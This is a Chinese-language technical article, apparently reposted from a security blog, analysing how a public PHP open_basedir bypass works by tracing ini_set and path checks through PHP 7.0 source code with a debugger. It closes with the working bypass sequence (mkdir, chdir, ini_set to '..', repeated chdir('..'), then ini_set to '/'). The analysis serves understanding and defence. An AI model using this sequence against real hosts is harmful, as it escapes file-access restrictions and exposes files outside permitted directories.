从PHP底层看open_basedir bypass

Posted 嘶吼专业版

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了从PHP底层看open_basedir bypass相关的知识,希望对你有一定的参考价值。

从PHP底层看open_basedir bypass 前言

从PHP底层看open_basedir bypass

有国外的大佬近日公开了一个php open_basedir bypass的poc,正好最近在看php底层,于是打算分析一下。

从PHP底层看open_basedir bypass poc测试

首先测试一下:

从PHP底层看open_basedir bypass

我们用如上源码进行测试,首先设置open_basedir目录为/tmp目录,再尝试用ini_set设置open_basedir则无效果,我们对根目录进行列目录,发现无效,返回bool(false)。

我们再尝试一下该国外大佬的poc:

从PHP底层看open_basedir bypass

发现可以成功列举根目录,bypass open_basedir。

那么为什么一系列操作后,就可以重设open_basedir了呢?我们一步一步从头探索。

从PHP底层看open_basedir bypass ini_set覆盖问题探索

为什么连续使用ini_set不会对open_basedir进行覆盖呢?我们以如下代码为例:

<?php

var_dump(ini_get('open_basedir'));

ini_set('open_basedir', '/tmp');

var_dump(ini_get('open_basedir'));

ini_set('open_basedir', '/');

var_dump(ini_get('open_basedir'));

ini_set('open_basedir', '..');

var_dump(ini_get('open_basedir'));

运行后结果如下:

string(0) ""

string(4) "/tmp"

string(4) "/tmp"

string(4) "/tmp"

默认的open_basedir值本来是空,第一次设置成/tmp后,以为设置将不会覆盖。

我们来探索一下原因。首先找到php函数对应的底层函数:

ini_get : PHP_FUNCTION(ini_get)

ini_set : PHP_FUNCTION(ini_set)

这里我们主要看的是ini_set的流程,ini_get作为信息输出函数,我们不太关心。

我们先对ini_set下断点,然后再run程序:

b /php7.0-src/ext/standard/basic_functions.c 5350

r c.php

程序跑起来后,首先是3个初始值:

zend_string *varname;

zend_string *new_value;

char *old_value;

然后进入词法分析,得到3个变量值:

if (zend_parse_parameters(ZEND_NUM_ARGS(), "SS", &varname, &new_value) == FAILURE) {

return;

}

我们可以看到

pwndbg> p *varname

$45 = {

  gc = {

    refcount = 0,

    u = {

      v = {

        type = 6 '06',

        flags = 2 '02',

        gc_info = 0

      },

      type_info = 518

    }

  },

  h = 15582417252668088432,

  len = 12,

  val = "o"

}

这是zend_string的结构体,也是php7的新增结构:

struct _zend_string {

    zend_refcounted_h gc; /*gc信息*/

    zend_ulong        h;  /* hash value */

    size_t            len; /*字符串长度*/

};

我们可以看到varname.val为:

pwndbg> p &varname.val

$46 = (char (*)[1]) 0x7ffff7064978

pwndbg> x/s $46

0x7ffff7064978:"open_basedir"

然后new_value.val为:

pwndbg> p &new_value.val

$48 = (char (*)[1]) 0x7ffff7058ad8

pwndbg> x/s $48

0x7ffff7058ad8:"/tmp"

即我们最开始传入的两个参数。

然后程序拿到原来的open_basedir的value:

从PHP底层看open_basedir bypass

从PHP底层看open_basedir bypass

然后会进入php_ini_check_path:

从PHP底层看open_basedir bypass

由于第一次没有设置过open_basedir,所以直接跳出判断,进入下一步:

if (zend_alter_ini_entry_ex(varname, new_value, PHP_INI_USER, PHP_INI_STAGE_RUNTIME, 0) == FAILURE) {

zval_dtor(return_value);

RETURN_FALSE;

}

我们跟进FAILURE,找到定义:

typedef enum {

  SUCCESS =  0,

  FAILURE = -1,/* this MUST stay a negative number, or it may affect functions! */

} ZEND_RESULT_CODE;

当zend_alter_ini_entry_ex的返回值不为-1时,即代表更新成功,否则则会进入if,返回false。

而经过比对发现:第一次设置open_basedir和第二次设置时候,正是这里的返回值不一样,第一次设置时,这里为SUCCESS,即0,而第二次设置为FAILURE,即-1,我们跟入zend_alter_ini_entry_ex进行比对:

b /php7.0-src/Zend/zend_ini.c:330

发现两次不同的点在于如下判断:

if (!ini_entry->on_modify|| ini_entry->on_modify(ini_entry, duplicate, ini_entry->mh_arg1, ini_entry->mh_arg2, ini_entry->mh_arg3, stage) == SUCCESS)

第一次时:

ini_entry->on_modify = 0x5d046e <OnUpdateBaseDir>ini_entry->on_modify(ini_entry, duplicate, ini_entry->mh_arg1, ini_entry->mh_arg2, ini_entry->mh_arg3, stage) = 0

第二次时:

ini_entry->on_modify :0x5d046e <OnUpdateBaseDir>ini_entry->on_modify(ini_entry, duplicate, ini_entry->mh_arg1, ini_entry->mh_arg2, ini_entry->mh_arg3, stage) = -1

可以确定是on_modify,那么我们单步跟进,到达:

PHPAPI ZEND_INI_MH(OnUpdateBaseDir)

发现在进行如下操作时,返回FAILURE:

if (php_check_open_basedir_ex(ptr, 0) != 0) {

/* At least one portion of this open_basedir is less restrictive than the prior one, FAIL */efree(pathbuf);

return FAILURE;

}

正是php_check_open_basedir_ex()未通过才导致我们ini_set失败,而第一次的时候,这里是通过的。

所以最后的问题落在`php_check_open_basedir_ex`上,如果想要利用ini_set覆盖之前的open_basedir,那么必须通过该校验。

从PHP底层看open_basedir bypass php_check_open_basedir_ex

找到切入点后,后面就是进行分析,看如何bypass php_check_open_basedir_ex。

我们源码跟进这个函数:

if (strlen(path) > (MAXPATHLEN - 1)) {

php_error_docref(NULL, E_WARNING, "File name is longer than the maximum allowed path length on this platform (%d): %s", MAXPATHLEN, path);

errno = EINVAL;

return -1;

}

#define MAXPATHLEN      PATH_MAX

#define PATH_MAX                 1024   /* max bytes in pathname */

首先判断路径是否过长,是否超过1023。

然后是另一个校验函数:

if (php_check_specific_open_basedir(ptr, path) == 0) {

    efree(pathbuf);

    return 0;

}

跟进后,该函数首先进行了操作:

if (strcmp(basedir, ".") || !VCWD_GETCWD(local_open_basedir, MAXPATHLEN)) {

/* Else use the unmodified path */

strlcpy(local_open_basedir, basedir, sizeof(local_open_basedir));

}

比对当前目录,并赋值给local_open_basedir,然后继续看目录名长度是否合法:

path_len = strlen(path);

if (path_len > (MAXPATHLEN - 1)) {

    /* empty and too long paths are invalid */

    return -1;

}

然后进入操作:

if (expand_filepath(path, resolved_name) == NULL) {

return -1;

}

PHPAPI char *expand_filepath(const char *filepath, char *real_path){

return expand_filepath_ex(filepath, real_path, NULL, 0);

}

将传入的path,用绝对路径保存在resolved_name。

然后操作继续进入判断:

if (expand_filepath(local_open_basedir, resolved_basedir) != NULL)

将local_open_basedir的值存放于resolved_basedir,用于后面的比较:

if (strncmp(resolved_basedir, resolved_name, resolved_basedir_len) == 0) 

{

    if (resolved_name_len > resolved_basedir_len && resolved_name[resolved_basedir_len - 1] != PHP_DIR_SEPARATOR) {return -1;} 

    else {

/* File is in the right directory */

return 0;

        }

}

else {

/* /openbasedir/ and /openbasedir are the same directory */

    if (resolved_basedir_len == (resolved_name_len + 1) && resolved_basedir[resolved_basedir_len - 1] == PHP_DIR_SEPARATOR) 

    {            

        if (strncasecmp(resolved_basedir, resolved_name, resolved_name_len) == 0) 

        {

            if (strncmp(resolved_basedir, resolved_name, resolved_name_len) == 0) 

            {

                return 0;

            }

        }

        return -1;

    }

}

上述操作正是在匹配路径是否是open_basedir规定的路径。

那么不难发现,可控点应该就要追溯到之前的:

expand_filepath()

因为关键路径resolved_name和resolved_basedir均由这个函数生成。

所以要bypass php_check_open_basedir_ex的关键,在于bypass expand_filepath()。其获取到的path才是真正用来比对的path。

从PHP底层看open_basedir bypass expand_filepath()

我们跟进至:

PHPAPI char *expand_filepath(const char *filepath, char *real_path){

return expand_filepath_ex(filepath, real_path, NULL, 0);

}

继续跟expand_filepath_ex:

PHPAPI char *expand_filepath_ex(const char *filepath, char *real_path, const char *relative_to, size_t relative_to_len){

return expand_filepath_with_mode(filepath, real_path, relative_to, relative_to_len, CWD_FILEPATH);

}

再跟expand_filepath_with_mode,来到关键操作位置:

if (virtual_file_ex(&new_state, filepath, NULL, realpath_mode)) {efree(new_state.cwd);

return NULL;

}

跟入virtual_file_ex得到关键语句:

if (!IS_ABSOLUTE_PATH(path, path_length)) {

if (state->cwd_length == 0) {

/* resolve relative path */

start = 0;

memcpy(resolved_path , path, path_length + 1);

} else {

int state_cwd_length = state->cwd_length;

           ......

        state->cwd_length = path_length;

           ......

        memcpy(state->cwd, resolved_path, state->cwd_length+1);

即目录拼接操作,如果path不是绝对路径,同时`state->cwd`长度为0,那么直接将path作为绝对路径,保存在resolved_path。否则则在state->cwd后拼接。

那么可以落点于path_length,这决定了我们拼接的长度:

path_length = tsrm_realpath_r(resolved_path, start, path_length, &ll, &t, use_realpath, 0, NULL);

跟进tsrm_realpath_r,不难发现主要操作用于:

remove double slashes and '.'

remove '..' and previous directory

那么最后可以总结expand_filepath()全身心的投入在相对路径和绝对路径,没有考虑open_basedir如果为相对路径会实时变化的问题。

从PHP底层看open_basedir bypass 总结

所以最后的bypass poc也变得非常清楚:

首先需要构造一个相对可上跳的open_basedir:

mkdir('sky');

chdir('sky');

ini_set('open_basedir','..');

这也是为什么要先创文件夹的原因,就是为了在当前目录构造可以..的ini_set。

然后每次目录操作:

chdir('..');

都会进行一次open_basedir的比对,即php_check_open_basedir_ex。由于相对路径的问题,每次open_basedir的补全都会上跳。

比如初试open_basedir为/a/b/c/d:

第一次chdir后变为/a/b/c,

第二次chdir后变为/a/b,

第三次chdir后变为/a,

第四次chdir后变为/,

那么这时候再进行ini_set,调整open_basedir为/即可通过php_check_open_basedir_ex的校验,成功覆盖,导致我们可以bypass open_basedir。

从PHP底层看open_basedir bypass 后记

这个poc还是很巧妙的,重点在于构造出相对路径的open_basedir,再触发其进行上跳!

以上是关于从PHP底层看open_basedir bypass的主要内容,如果未能解决你的问题,请参考以下文章

PHP 警告:include_once():open_basedir 限制生效

open_basedir php授权目录设置

PHP open_basedir - 返回值?

php绕过open_basedir设置

open_basedir

为啥在 IIS 上使用 open_basedir 和 PHP 作为 FastCGI?